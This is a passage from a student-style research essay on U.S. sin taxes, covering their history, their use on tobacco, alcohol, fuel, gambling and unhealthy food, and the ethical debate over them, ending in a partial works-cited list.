goods or services are targeted by sin tax legislation because consuming or utilizing the good or services can lead to self-destructive behavior, negative consequences for c ommunities, and generally are considered socially undesirable. Thus, sin taxes are not prohibitive; citizens are allowed to consume targeted goods and services as long as the tax is not steep enough to make consumption of the good or service impossible. Viscusi 556) Further, the voluntary nature of sin taxes is generally more tolerable than involuntary nature of income taxes. (Schmidt, Barr and Swanson 1677) The most confusing and controversial element when considering sin taxes is the definition of sin.This word can be highly political and misleading, automatically making most think of sin in religious terms. However, sin, in the context of sin taxes, refers to addictive, self-destructive, and socially undesirable, behavior from the consumption of goods and services without crossing into religious doctrine. Lorenzi, Sin Taxes 60) In this context, then, sin is behavior that is undesirable enough to be targeted by taxes as a form of regulation or determent, but not so socially unacce ptable to be illegal to the public. (Lorenzi, Sin Taxes 60) Therefore, sin taxes should not be considered as forms of punishment for poor consumption choices, but instead be a catalyst to foster sounder and safer decisions. (Viscusi 547) However, this can be a slippery slope, the limited use of taxes on goods and services deemed as sinful could grow and encompass others outside the scope of sin.Sin Tax History Sin taxes have a long history, originating with religious doctrine and the power of organized religions to collect fees. Popes levied the earliest forms of sin taxes on prostitutes, brothels, and the sale of indulgence to raise money for religious projects. (Lorenzi, Sin Taxes 59) Laws required prostitutes to designate half of her property and fortune to convents, and brothels were taxed continuing through the 16th century. Lorenzi, Sin Taxes 59) Further, Russian Czar Peter the Great imposed fees on the length of beards to tax vanity, and the Puritans used sin taxes to curb ex travagance. (Lorenzi, Sin Taxes 59)The United States has a long history of utilizing taxes on socially undesirable goods and services to fund the government. In the early years of our democracy, the federal Government derived almost all its revenue from consumption taxes in the form of duties on imports and excise taxes on liquors and tobacco. American Economic Association 50) This tradition was set early when Congress enacted excise taxes on tobacco and snuff, refined sugar, distilled spirits, carriages, and property sold at auctions in order to finance the debts incurred during the Revolutionary War. (Hines 51) However, these taxes were not well received by a public that was over taxed by the British government and violent protests, in what was later coined the Whiskey Rebellion, resulted in the abolition of many unpopular excise taxes during the Jefferson Administration. Hines 52)The War of 1812 and the Civil War both required the federal Government to raise revenue and as a resu lt old excise taxes were reinstated as well as taxes on gold, jewelry, silverware, watches, playing cards, feathers, patent medicines, billiard tables, leather, telegrams, yachts, and many other luxuries, however these taxes were quickly repealed once the wars were over. (Hines 62) The federal Government was permitted to levy a personal income tax with the 16th Amendment, which became the main source of revenue in 1913. Hines) Federal excise taxes did not completely disappear during this time; however prohibition severely limited the possible revenue of excise taxes before the Depression.The repeal of Prohibition and expansion of excise taxes on luxuries during the Depression helped to finance the increased federal spending of the New Deal Programs totaling more than 15 percent of the federal revenue in 1933. Hines 52) The expansion of programming during and following World War II required higher income taxes, fully transferring the bulk of government revenue away from excise and co nsumption taxes to the system we employ today. (Hines) The federal government still utilized some consumption and excise taxes, however these were limited to those goods and services mostly deemed socially undesirable, or sin taxes. Popular Goods and Services Taxed as â€Å"Sin† Tobacco and Alcohol The scope of goods and services targeted by sin taxes is limited in American society.The two oldest and most widely targeted goods are tobacco and alcohol. As evidenced in the history of sin taxes, alcohol and tobacco have been taxed to finance federal and state governments, particularly in slow fiscal times or to raise money for major legislation or wars. These goods have been targeted by sin tax legislation because they have the potential to raise money rather quickly, have been relatively accepted as sinful, and have direct casual relationships with health or social problems. Hines 63) Further, it is easier for governments to justify taxes on tobacco and alcohol to the public si nce both goods tend to have negative consequences for the public at large. Legislators can disguise taxes on tobacco and alcohol as regulations to help protect society from the health and social consequences resulting from overconsumption of these goods while requiring those who consume tobacco and alcohol to finance the consequences of their consumption choices. (Boyd and Seldon 365) Thus, in times of increasing taxes it is easier and more popular to increase taxes on goods instead of taxes on income.Cigarettes have been a major target of sin taxes in most recent history as the health risks have been widely publicized. In order to combat cigarette consumption, the federal government and many states have levied taxes on the production and/or sale of cigarettes. The rationale behind this tax is quite simple, those who partake in the pleasure of smoking should help pay for the health care required resulting from their choice. (Gruber 203) Today, all states and the federal government i mpose an excise tax on cigarettes, and these taxes are increasing as governments try to balance their budgets. American Medical Association 1909)Cigarette excise taxes are widely accepted in public opinion, the hazards of smoking have demonized the industry and those who choose to purchase the products. (Gruber 194) Utilizing sin taxation to regulate consumption of tobacco has been highly effective, according to the CDC, â€Å"A 10% increase in the price of cigarettes can reduce consumption by nearly 4% among adults and can have an even greater effect among youths and other price-sensitive groups. (American Medical Association 1909) Sin taxation on alcohol, while a widely targeted good, seems to be less popular and publicized in popular media. Taxes on alcohol tend to be lower than those on tobacco, and many states handle the sale of alcohol differently (alcohol license tax, state operated liquor stores, etc. ), making the tax less visible to the public. (Johnson and Meier 580) Fur ther, it is harder to gauge the effect specific liquor, beer, and wine taxes have on consumption.For example, higher taxes increasing the price on one might cause consumers to substitute to another, more affordable alternative, such as substituting wine with beer. (Johnson and Meier 591) However, studies show increased prices on alcohol as a result of taxation have affected alcohol consumption rates to an extent even if it is minimal. (Boyd and Seldon 365) Sin taxation on both tobacco and alcohol have seemed to decrease the consumption of these goods while raising revenues for state and federal governments, however little attention is given to other factors affecting decreasing consumption rates.The American public has been flooded with messages about the dangers of smoking and national campaigns have worked to warn Americans to stop smoking, helping to decrease cigarette consumption in the United States along with the steep sin taxes increasing the prices. Further, many cities and states are adopting smoking bans in public places, limiting the accessibility of facilities for smokers. Also, there are very few substitutes for tobacco products, forcing smokers to either pay the tax or consume less.Political movements and tougher legislation against behavior resulting from alcohol consumption might be affecting consumption rates just as easily as increased prices resulting from sin taxes. Taxes on alcohol and tobacco can also increase production costs, causing producers to utilize their resources to raise other commodities that are not as heavily taxed, decreasing the overall production of tobacco and alcohol products. Boyd and Seldon 370) Further, lower consumption rates may not mean that consumption is actually dropping if consumers are turning to affordable black market substitutes. (Johnson and Meier 591) Environmental Americans have become increasingly accustomed to sin taxes that will help promote safer environmental practices and sustainability. Increased understanding of environmental factors surrounding pollution has increased the need for governmental regulation of emissions. As a result, the federal government has levied taxes on goods and services that contribute to pollution.The most common of these taxes is that on fuel; gasoline and diesel. Sin taxes levied on gasoline are intended to discourage driving and reduce pollution as well as traffic congestion in the process. (Hines 52) This tax is easy for government to justify since the majority of funds raised from the tax are spent on highway maintenance and construction. (Hines 52) While this tax may not have been enacted with â€Å"sin† regulation in mind, environmental regulation helps to justify it now, putting it in the â€Å"sin† category.Environmental sin taxes are not limited to fuel; they are also levied on gas-guzzler cars, heavy road vehicles, highway-type tires, and all forms of air transportation. (Hines 53) Ozone depleting chemicals also present an op portunity to tax environmental sin. Not only does the federal government limit the use of these hazardous chemicals, they are also taxed. (Hines 53) The strict regulation and higher taxes on these chemicals has severely reduced their production and use, almost making the usage limits irrelevant. Hines 53) In the future, scaled taxes on specific chemicals could help further reduce their use and potential harm to the ozone, however the federal government has not utilized sin taxes thoroughly enough to enact further environmental regulation. Gambling, Prostitution, and Pornography Gambling is a service that has been a target of sin taxes since the early years of our nation, easily defined as a sin but harder to single out and tax since it is not a good. The federal government has not taxed gambling with the same enthusiasm as tobacco, alcohol, or fuel taxes.Taxing gambling in the United States is tricky, Native American and state sponsored gambling is tax free, and setting gambling tax es too high can cause taxpayers to turn to alternatives, such as illegal gaming establishments. (Schmidt, Barr and Swanson 1682) Further, it is harder for consumers to feel the effects of gambling taxes since most tax costs are not directly funded by service prices. Instead, most sin taxes are levied on the gaming establishments in the form of license agreements for specific games or total revenue. Schmidt, Barr and Swanson 1687) Thus, gambling taxes do not technically raise the cost of the service and encourage citizens to make better decisions, instead gambling establishments bear the majority of the burden of the tax cost. While gambling sin taxes are hard to levy on individuals for regulation, they can be a tool to monitor and stop organized crime through IRS oversight. (Schmidt, Barr and Swanson 1681) Prostitution and pornography are equally difficult to tax, each for their own, separate reasons.Prostitution, while generally considered immoral, is legal in some states and on pa per is considered victimless since it is a consensual act between two adults. (Lorenzi, Taxing Antisocial Behavior for the Common Good 331) Further, taxes in this industry generally are levied on the establishment, much like gambling, and if the tax becomes too high, consumers will look for substitutes, generally illegal. Pornography is equally as difficult to tax, since so much of this product is available online.States are still trying to figure out how to charge a sales tax on online purchases, rather unsuccessfully, and pornography is no exception. Thus, taxes on this industry are limited to taxes on producers and networks, not individual consumers. (Lorenzi, Taxing Antisocial Behavior for the Common Good 331) In the end, taxes on prostitution and pornography are not as readily apparent to the consumer as with tobacco, alcohol or fuel, reducing the individual deterrent qualities of a sin tax on these goods and services. Fat TaxesObesity rates in the United States have been risin g, and as a result so have health issues and healthcare costs. (Chaufan, Hong and Fox 87) In recent years, state and federal governments have debated utilizing sin taxes to raise the cost of purchasing calorie dense foods with no nutritional value in order to deter consumption. However, these â€Å"fat taxes† are not new and have been present since the 1920’s. (Creighton 127) They are gaining in popularity as the obesity epidemic continues to cause widespread health issues.These unhealthy goods are particularly targeted by health officials because they are most commonly marketed to kids, and children who develop poor eating habits when they are young and more likely to become obese as adults. (Fletcher, Frisvold and Tefft 968) Thus, with evidence from the tobacco industry, sin taxes on unhealthy goods would seem to be a good method to encourage healthier food purchases. Further, taxing these goods could provide huge revenue increases for federal and state governments s ince the unhealthy food industry profits are similar to those of the alcohol industry. Fletcher, Frisvold and Tefft 968) Utilizing taxes as a mechanism to change behavior has not been as successful for curbing obesity. Taxing soft drinks has proved to discourage consumption, particularly for children and groups with limited spending capability. (Fletcher, Frisvold and Tefft 972) However, changing behaviors that lead to obesity takes more than just cutting specific foods out of a diet. For example, diets high in caloric intake can cause obesity regardless of where the calories are coming from if a person does not get enough exercise.Curbing obesity almost requires a personalized plan for each individual, focusing not only on their diet, but also exercise habits, genetic makeup, and lifestyle. (Chaufan, Hong and Fox 88) Simply targeting one factor does not help fix problems with the other factors. Further, there are too many substitutes for unhealthy junk food, allowing citizens to co ntinue to make poor health choices, even if we target certain goods. (O'Donoghue and Rabin 1841) Ethical and Moral Considerations of Sin TaxesSin taxes can be a valuable tool for government to raise revenue and help shape social policy. However, adding morals and values to a tax requires ethical and moral considerations above those of most other forms of taxes. These taxes are levied with a specific policy outcome in mind, yet sometimes it may be difficult to separate the government’s interest in raising revenue with the government’s overarching policy goal. Since these taxes generally have some sort of stigma attached with the goods or services taxed, it is also important to ensure these tax policies are enacted for the common good.Sin taxes have been the target of moral and ethical discussions mainly because it is hard to decide what exactly constitutes a sin. Disputes arise as legislators decide what goods and services need to be regulated for the public wellbeing. While many of the goods and services taxed as sin have historically been deemed evil, immoral, seedy, or bad; discourse about who decides these products deserve to be regulated and taxed above and beyond other goods and services must be evaluated. This seems to be the central moral question surrounding sin taxes.Should a minority of the population have to pay an extra tax to support the government simply because they partake or utilize a specific good or service? Taking this question a step further, sin taxes have the potential to raise large revenues, so is it ethical to make a few pay for government services for all? Who gets to decide how these funds will be spent, and who or what will this spending affect? (Green 70) The last overarching question surrounding the sin taxes focuses on the government’s power to tax, namely, can the government use its power to tax to shape and enforce social policies?Those in favor of sin taxes would argue there are many reasons why it is mor al and ethical to require consumers who purchase these particular goods and services to pay more than the average taxpayer. Namely, sin taxes target goods and services that cause negative consequences for the public at large. (Green 68) These could be increased health care costs or higher demand for social services. It is logical, then, to require these consumers to pay more since they are directly contributing to higher government costs for all.Not only is it logical and moral to require these consumers to pay more for the added costs as a result of their consumption, higher taxes can help them make better, healthier choices. Sin taxes have been proven to reduce the consumption of specific goods and services, helping to create sustainable, prosocial behaviors for the future. (Lorenzi, Taxing Antisocial Behavior for the Common Good 328) Sin tax policies can help deter and regulate antisocial behaviors as a result of consumption of sin goods and services while simultaneously raising revenues to pay for the programming needed to help those affected by this behavior.Further, sin taxes raising money on the backs of those partaking in antisocial behavior reduce the need to tax prosocial behaviors. For example, revenue generated from sin taxes can be used to fund government business, reducing income tax costs for the larger population. (Lorenzi, Sin Taxes) Targeting these immoral behaviors and using them to fund governmental operations ensures those engaged in prosocial behavior are not bearing a larger share of the cost of government. This is an attractive and easy sale to the public since higher taxes make all citizens unhappy.Sin taxes on paper are extremely regressive, and as a result unfavorable to many. However, lifetime incidence studies prove the effects of these taxes on lower income taxpayers is about equal to those in middle or higher income households. (Poterba 327) Those who oppose sin taxes see the value they bring to both government revenues as well a s the common good; however these positives do not outweigh the negative ethical and moral implications. First and foremost, opponents of sin taxes believe it is immoral for the government to rely on funding from the very behaviors it has deemed sinful and therefore is trying to regulate or change. Lorenzi, The Moral Grounds of Sin Taxes 68) Opponents see sin taxes as a stepping stone to banning certain goods and services, which should be a social policy decision supported by the public, not forced on them through prohibitive taxes. (Viscusi 547) Opponents therefore do not believe taxes should be used as a mechanism to enforce social policies or enact social change. (Creighton 135) In essence, the government is taking away the individual’s autonomy, legislating they should not purchase certain goods and products. (Green 72) This is a difficult issue to balance, Americans value independence and the freedom to choose.Further, sin taxes are regressive, putting the large burden of payment on those with the least ability to pay. (Hines 65) In slow economic times, when governments tend to raise sin taxes to help close the revenue and expenditure gap, sin taxes could actually hurt the economy, pushing these citizens to the end of their economic resources. (Johnson and Meier 582) In the end, the same population the government is targeting to raise the revenue would be the same population in need of government services once their resources were depleted.Further, utilizing sin taxes as a form of punishment or regulation directly competes with the message of the general tax code, namely, every citizen has the obligation to pay their taxes and support the government. The United States evolved their tax system from one based on consumption and tariffs to one based on taxing income based on the ability to pay. Sin taxes do not fit fairly into this carefully crafted tax structure we use today, sending the public mixed messages about citizen’s role in the taxatio n process. Lastly, opponents of sin taxes are skeptical if they are actually reaching the policy outcomes intended.Studies show increased prices on certain goods and services reduces consumption, however there could be many other factors contributing to the decline in usage. For example, reduced consumption might be a result of heightened public awareness about the health risks, greater access to prevention and rehabilitation, harsher criminal legislation surrounding a specific behavior, or any number of other factors. Further, sin taxes on some goods, like unhealthy foods, really do not work at all since there are so many additional factors that might be contributing to the issue. Chaufan, Hong and Fox 87) Opponents also are skeptical sin taxes even reduce consumption since the presence of similar or equal substitutes might encourage consumers to find these goods and services elsewhere, such as illegal gambling establishments or black market cigarettes. (Johnson and Meier 591) The availability of substitutes could in turn create greater antisocial behavior and costs to the government in the form of criminal investigation, prevention, and added health risks from unsafe goods and services. ConclusionTaxes are an inevitable fee all must pay to support the government. Citizens vest the power to tax with governments in return for government services. Governments take the power to tax a step further with sin taxes, not only raising revenue but also enacting or enforcing social policy. Sin taxes have been used successfully throughout history, particularly when citizens unanimously agree a sin exists. Sin taxes have also been successful in regulating or curbing consumption resulting in antisocial behavior as well as generating revenue.On the surface, it would seem as if sin taxes are a great way to raise revenues and influence or enforce social policy. However, there are many ethical and moral implications surrounding sin taxes. Digging deeper into the positive and n egative consequences of these taxes sheds light on the inherent problematic nature of the tax, and leads to questions about its place in the American tax structure. Legislators must be cognizant of these moral and ethical questions before deciding to enact taxes that could potentially be discriminatory to some members of society.These taxes should be evaluated on a case by case basis, with clear and measureable policy outcomes included in the evaluation. Policy outcomes that are not easily measured may not be the best use of sin tax influence for social change. In the end, taxes on goods or services labeled as sinful have great potential to raise revenue, and as a result these taxes are popular to help close revenue and expenditure gaps. Perhaps sin taxes are a great case study for tax structures based on consumption instead of income. Hines 69) Sin taxes target consumption, and this seems to work well to raise revenue for the government. Many of the ethical and moral questions surr ounding the use of sin taxes to influence social change could be eliminated within a tax structure based on consumption; however this shift would be a major tax reform in the United States. This may not be the answer we are looking for, yet sin taxes provide a window in which to examine tax policy, and possibly change the way our tax structures work in the future.Works Cited American Economic Association. Consumption and Other Indirect Taxes. † American Economic Review 9 (1919): 49-62. American Medical Association. â€Å"State Cigarette Excise Taxes-United States, 2009. † MMWR: Morbidity and Mortality Weekly Report. 2010. Boyd, Roy and Barry J. Seldon. â€Å"Revenue and Land-Use Effects of Proposed Changes in Sin Taxes: A General Equilibrium Perspective. † Land Economics 67. 3 (1991): 365-374. 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